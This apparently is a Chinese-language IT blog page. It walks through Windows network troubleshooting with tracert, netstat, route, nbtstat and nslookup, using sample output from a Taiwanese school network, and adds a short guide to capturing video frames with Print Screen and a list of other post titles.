如果出現三個星號，表示路徑選擇失敗，從失敗的位置可以找出網路故障的範圍，如果連續很多星號超過應有的閘道數，這就表示所有路徑已測試完畢，沒有辦法連接該主機。你可以在tracert指令後面加上 -h 100 表示要追蹤100個hops，每個閘道通過一次算一個hop，一般內定值是30 hops，事實上已綽綽有餘。

五、 netstat

這個指令也像net指令一樣，有一大堆功能，不過一般是用來觀察路由表，在Windows和UNIX上都可使用。在Windows的環境下，還可以用route print來觀察路由表。由於校園網路已轉型成網際網路的一環，將來的架構會變成UNIX和Windows混合環境，所以早一點熟悉UNIX指令也不錯。

Routing 和IP CLASS網路的實際連線有直接的關係，當兩台機器間的路徑出現複數選擇時，靜態路由就無法解決問題，而要依靠動態路由協定來和其它路由器求得最佳路徑，這在中小學目前的校園環境裡應該是遇不到，所以現在去設定動態路由協定，實在是多此一舉，也浪費網路資源。

執行netstat -r出現下列訊息：

C:\>netstat -r

Route Table

Active Routes:

Network Address Netmask Gateway Address Interface Metric
0.0.0.0 0.0.0.0 163.21.236.254 163.21.236.71 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
163.21.236.0 255.255.255.0 163.21.236.71 163.21.236.71 1
163.21.236.71 255.255.255.255 127.0.0.1 127.0.0.1 1
163.21.255.255 255.255.255.255 163.21.236.71 163.21.236.71 1
224.0.0.0 224.0.0.0 163.21.236.71 163.21.236.71 1
255.255.255.255 255.255.255.255 163.21.236.71 163.21.236.71 1

Active Connections

Proto Local Address Foreign Address State
TCP caldera:1115 www.tp.edu.tw:nbsession ESTABLISHED

路由表的第一行0.0.0.0/0.0.0.0稱為預設閘道，在Windows控制台的網路組態裡，可以設定此項參數。127.0.0.0 /255.0.0.0是lookback迴路，可用來測試主機的網路服務是否存在。224.0.0.0/224.0.0.0是實驗用的IP，一般會拿來用作Muticast用途，也就是用在網路視訊廣播。255.255.255.255/255.255.255.255是預設的廣播IP，目前沒在用。以上這些路徑，在每片網路卡上都會有，是在安裝後自動產生的，其中以預設閘道最為重要，因為它關係著能不能連上Inetrnet。

還有三條路徑是由網路卡所設定的IP來決定的，如果一片網路卡設定成兩個不同IP，就會有六條路徑。其中 163.21.236.71/255.255.255.255是筆者現在所在的電腦，163.21.236.255/255.255.255.255是筆者所在Class C網域的廣播用IP，最重要的163.21.236.0稱為網路名稱，163.21.236.0/255.255.255.0這條路徑是用來到達筆者所在的子網域。

假設現在要將163.21.236.0這個網域，進一步分割成兩個子網域，分別是：

網路名稱 163.21.236.0 163.21.236.128
網路遮罩 255.255.255.128 255.255.255.128
起始IP 163.21.236.1 163.21.236.129
終止IP 163.21.236.126 163.21.236.254
廣播IP 163.21.236.127 163.21.236.255

連接兩個子網域的橋接器，必須插兩片網路卡來當作閘道，其中一片使用163.21.236.126，另一片網路卡使用163.21.236.254這個 IP，兩片網路卡各落在一個子網路內，其中163.21.236.0這個子網路必須透過163.21.236.128才能連上Internet（因為預設閘道163.21.236.254是在163.21.236.128這個子網路中）。

在這個新環境裡，筆者的電腦必須變更網路卡上的遮罩，從255.255.255.0變成255.255.255.128，而考慮要連接到163.21.236.128這個子網路，我必須建立一條新的路由，使用route指令：

route add 163.21.236.128 mask 255.255.255.128 163.21.236.126

意思是：要到163.21.236.128這個子網路，必須將封包送到163.21.236.126去處理，我們知道163.21.236.126就是橋接器連通我們這個子網路的網路卡。

接著來考慮如何連上Internet，很明顯的原來的預設閘道不能用了，因為在我的子網路163.21.236.0裡是找不到 163.21.236.254這台機器，這台機器是在163.21.236.128這個子網路，所以我必須透過橋接器才到得了。首先刪除原來的預設閘道路徑，再加上新的路徑：

route del 0.0.0.0 mask 0.0.0.0 163.21.236.254
route add 0.0.0.0 mask 0.0.0.0 163.21.236.126 metric 2

metric 2是告訴橋接器，這個封包不在你的子網路裡，請轉送給下一個閘道。不過通常橋接器在路由表設定好後，它就知道怎麼辦了，這個參數寫不寫無所謂。

（注意這裡的Metric和OSPF協定裡面定義的Metric距離向量，是不一樣的，這裡的Metric是微軟的風格，以1代表穿過一個閘道）

以上是路由的簡要說明，關於其它拓樸環境的路由，甚至是動態路由的進一步訊息，應該另為文介紹，在這裡就不多說了！

在netstat -r的回應訊息中最後一道訊息是：

TCP caldera:1115 www.tp.edu.tw:nbsession ESTABLISHED

這是表示目前有一條連線正在作用中：筆者的電腦（caldera）正以TCP協定連接到www.tp.edu.tw這台主機的nbsession埠。這個埠就是TCP 137埠，是用來查Netbios名稱的，因為筆者在www.tp.edu.tw上安裝了SAMBA服務，然後透過網路上的芳鄰來編修和製作網頁，所以會看到這樣的訊息。透過這些訊息，不是就可以揭開網路的奧秘嗎？

六、 nbtstat

這道指令乍看之下，會誤以為是netstat，nbt也就是NetBT，也就是Netbios over TCP/IP。剛才已經解釋過，這是將Netbios廣播封包重新封裝成TCP/IP格式，藉以與遠端的WINS伺服器通訊。

nbtstat -s用來顯示目前本機透過Netbios名稱服務取用資源的情形。

C:\>nbtstat -s

NetBIOS Connection Table

Local Name State In/Out Remote Host Input Output
----------------------------------------------------------------------------
SHANE <00> Connected Out WWW <20> 426KB 629KB
SHANE <03> Listening
SHANE Listening
ROOT <03> Listening

檢查得知目前已連接至名叫WWW的電腦，取用了若干資料。下面的Listening表示本機正等待別人來使用共享資源。Windows系統並不會去分辨本機有沒有資源提供給別人分享，而是無論如何都會將Netbios服務開啟，這也就是為什麼即使沒有東西在分享，要在網路上的芳鄰看到主機列表，同樣要花相當久的時間。還好Netbios是終將淘汰的東西（Windows 2000還是向下支援了Netbios，以避免與舊有Windows環境脫節，但是具名管道服務在Windows 2000中完全以DNS的方式實作）。

七、 nslookup

這是用來偵測DNS名稱解析的工具，DNS是連上Internet必要的服務，相關的觀念，相信讀者已非常熟悉，這裡就不多說了。你要注意的是，Windows系統中只有NT系列有提供這個指令，所以請不要在98上面做這項偵錯。

我們來看以下的偵錯過程：

C:\>nslookup

預設伺服器： ns.tmtc.edu.tw <--我的網路組態以它當第一台DNS
Address: 163.21.236.4

> www.tmtc.edu.tw <--先測試該Server管理的正解紀錄是否存在

伺服器： ns.tmtc.edu.tw
Address: 163.21.236.4

名稱： www.tmtc.edu.tw <--OK沒問題
Address: 163.21.236.22

> 163.21.236.22 <--再測試該Server管理的反解紀錄是否存在

伺服器： ns.tmtc.edu.tw
Address: 163.21.236.4

名稱： www.tmtc.edu.tw <--OK也沒問題
Address: 163.21.236.22

> set q=any <--改變查詢的選項為任何型態紀錄
> edu.tw <--查詢我們上一層的網域內容

伺服器： ns.tmtc.edu.tw
Address: 163.21.236.4

edu.tw internet address = 140.111.1.2
edu.tw nameserver = moevax.edu.tw
edu.tw nameserver = moesun.edu.tw
edu.tw
primary name server = moevax.edu.tw
responsible mail addr = sanger.moers4.edu.tw
serial = 199911173
refresh = 21600 (6 hours)
retry = 7200 (2 hours)
expire = 3600000 (41 days 16 hours)
default TTL = 172800 (2 days)

edu.tw nameserver = moevax.edu.tw <--上一層的DNS主機
edu.tw nameserver = moesun.edu.tw
moevax.edu.tw internet address = 140.111.1.2
moesun.edu.tw internet address = 140.111.1.20
moesun.edu.tw internet address = 163.28.1.101

> lserver 140.111.1.2 <--將上一層的DNS主機設定為本地端DNS

預設伺服器： moevax.edu.tw 伺服器
Address: 140.111.1.2

> tp.edu.tw <--查詢本地網域在上一層的設定內容

伺服器： moevax.edu.tw
Address: 140.111.1.2

tp.edu.tw nameserver = ns.tp.edu.tw <--與我們呈報上去的設定一致，表
tp.edu.tw nameserver = dns.tp.edu.tw 示上一層沒有把我們設錯
ns.tp.edu.tw internet address = 163.21.236.5
dns.tp.edu.tw internet address = 163.21.236.7

> exit <--離開nslookup工具

這一段偵錯過程是在追蹤DNS為何不工作，通常我們是由下往上查，而不是由上往下查，因為越往上層其管理會越嚴謹，出錯機率相對不高，除非是我們給上層錯誤的資料，否則不致於會有問題。

偵測過程中，先偵測自己Server管轄內的機器是否能正確的正反解，如果不能解出正確結果，那麼就是我們自己的Server設定錯誤（通常是語法錯誤），如果根本不能查詢，而且出現錯誤訊息，那就是Server掛掉了，請將它修復後重新開機。

如果偵測沒有問題，但是在瀏覽器中還是不能看到自己的網頁，這時候我們懷疑上一層資料與我們不Match，我們就必須進行記錄比對。

假如不知道上層DNS的位址，可以先在自己的Server上查詢一下，查出結果後，再將該Server設成本地端預設DNS，這樣做的目的是讓以下的查詢可以真正讀取到該Server管轄的記錄內容。

查詢有關本地網域它所知道的任何訊息，Server應該會回應所有有關的紀錄，核對看看是不是與我們通報上去的資料一致。假如是因為我們這邊做了修改，但是沒有通知上一層的管理員，那發生錯誤就是天經地義的了！

任何已登錄的DNS，要修改IP或網域名稱，一定要經過正常行政程序通知上一層管理員，請上一層管理員幫你修改紀錄，這樣改變才是有效的！

網路基礎架構與網路服務(01)

2009-12-30T07:37:00.000-08:00

主從式、三層式和多層式架構

網路基礎概念

如何擷取影片畫面，另存成JPG或GIF圖檔？

2009-12-29T04:41:00.000-08:00

出處
http://briian.com/?p=2613

當我們使用Windows Media Player來播放影片時，如果看到一個相當有趣或喜歡的畫面，想要把這畫面抓下來變成JPG圖檔的話，該怎麼做呢？

如果你有安裝KMPlayer的話，KMPlayer播放器已經內建了影片畫面擷取功能，只要按一下〔Ctrl〕+〔A〕組合鍵，就可以把當時正在播的畫面給抓下來。如果你並不使用KMPlayer播放器的話，那使用微軟Windows內建的Windows Media Player播放器來播影片時，一樣可以抓取畫面唷！只不過，要先設定一下你的電腦。

以下分為三個步驟，必須依照順序來做：
一、調整顯示卡「硬體加速」，兼容畫面擷取功能
 二、用〔Print Screen〕按鍵來抓畫面
 三、在「小畫家」軟體中貼上畫面，另存圖檔

一、調整顯示卡「硬體加速」，兼容畫面擷取功能

如果不使用軟體內建的螢幕擷取功能，而採用Windows自己的〔Print Screen〕功能的話，一定得要先做以下的顯示卡設定。我們必須先關閉一部分顯示卡的「硬體加速」功能，讓Windows內建的桌面擷取功能可以正常運作。

不過說真的，為什麼一定要先取消一部分硬體加速功能，才能讓〔Print Screen〕按鍵正常抓畫面，這我也真的不清楚。只是依照前人所傳承下來的小技巧來做，為甚麼這樣做有效，因為不是這方面的專業，還有待其他專家來解答一下。

第1步 首先在桌面任意處按一下滑鼠右鍵，再點選【內容】。

第2步 出現「顯示內容」視窗後，先切換到〔設定值〕功能頁面，再按一下〔進階〕按鈕。

第3步 接著切換到〔疑難排解〕功能頁面，然後移動〔硬體加速〕中的橫桿，將他調整到左邊數來第三格的位置，也就是「停用所有DirectDraw、Direct3D加速，和游標、進階繪圖加速。用此設定來修正以DirectX加速的嚴重應用程式問題」這個選項。設定好後，再按下〔確定〕。

二、用〔Print Screen〕按鍵來抓畫面

做好上面的設定之後，接著便可開始抓螢幕畫面囉。用Windows Media Player播放軟體來開啟你要播放的影片，開啟影片之後，在你要抓畫面的時候，按一下鍵盤上的〔PtrScr〕按鍵，也就是「Print Screen」功能。這個〔PtrScr〕按鍵通常會在鍵盤上〔F12〕按鍵的右邊或附近。

[gads]

〔PtrScr〕這按鍵的功能就是用來抓取螢幕畫面用的，當你按一下之後，Windows系統會自動將目前畫面存在記憶體中，等我們將此畫面貼上到小畫家或其他繪圖軟體後，便可另存新檔出來。

本文章節：
一、調整顯示卡「硬體加速」，兼容畫面擷取功能
 二、用〔Print Screen〕按鍵來抓畫面
 三、在「小畫家」軟體中貼上畫面，另存圖檔

SID碼重複無法登入AD網域

2009-11-30T07:27:00.000-08:00

SID碼重複無法登入AD網域

MIS-NOTE

權限寫入和修改的差異

[轉貼]如何用批次指令取得上個月的月份－修訂版

Ruby轉EXE

擷取封包

[通用]漫畫批次下載技巧

BlueScreenView 1.45 免安裝中文版 - 重現藍底白字畫面

安全又不影響速度，無線加密 WPA、WPA2 怎麼選？

[轉貼]繪圖、剪輯、後製、3D繪圖、算圖機

HD tune的曲線要如何解讀

Windows Installer

安裝命令列選項及屬性

/a [msifile]

/f[options][msifile]

/i [msifile]

/j[option] [msifile] [/t mstfile]

/l[options] logfile

/noreboot

/p [mspfile]

/q[option]

/settings file

/x [msifile]

property=value

netbeans install on ubuntu

Installation

Installation

test

當Chrome當掉的時候....

變數、常數

1-3 變數、常數

rails new

查詢系統開關機

把實體OS轉換為虛擬機器(VM)

超強檔案複製指令robocopy

桌面遺失 無法進入系統

win麥克風有聲音breeze麥克風沒聲音時

[莔][半天學習成果]DVD影片轉mkv快速小教學

使用 EasyBCD 展開多重開機選單復活大作戰

Windows 7 自動化安裝套件 (AIK)正式版

群組原則編輯器

下載mms

關閉智能窗口排列

Exchange Server 2003 版本比較

隨身碟有防寫保護程式要如何解除

免費防毒avast! 2010中文 avast 破解序號

Vista及Windows 7專用系統調整工具【Ultimate Windows Tweaker】附繁體中文對照表

將桌面轉到D槽

出處http://w-type.blogspot.com/2009/03/d.html

在Windows作業系統下使用造字程式

執行程式出現"沒有磁片"

清除 DNS Cache 記錄

定時關機

Windows 2K/XP “藍底白字畫面” 全攻略

Print Problem

Windows 7 Start Orb Changer 清鬆更換 Winows 7 開始鈕圖示

UltraRename28b-更名軟體

疑難排解：我的 [傳送] 按鈕不見了

簡單自製救援開機碟

EasyBcd修復Vista和XP雙系統問題

[教學] mental ray 分佈式算圖設定教學

office盜版受害者

使用GPO規則幫使用者自動安裝印表機

刪除自己

User Profile Service 服務無法登入.無法載入使用者設定檔

查SID

自動安裝印表機

簡單批處理內部命令簡介

如何將 應用軟體 包奘起來 一次安裝呢 ??

如何讓電腦開機後自動登入XP

製作可用來安裝Windows 7的USB碟

Windows 7 使用技巧(持續更新)

splash.dll is missing

MAYA 2010 64BIT

創意活動企劃高手

Windows 7 暗黑密技：上帝模式 (列出所有控制台項目)

出處

讓domain-user 登入時自動執行script檔

網路管理教學

釐清電腦維修問題

釐清問題

桌面遺失無法進入系統

如何將應用軟體包奘起來一次安裝呢 ??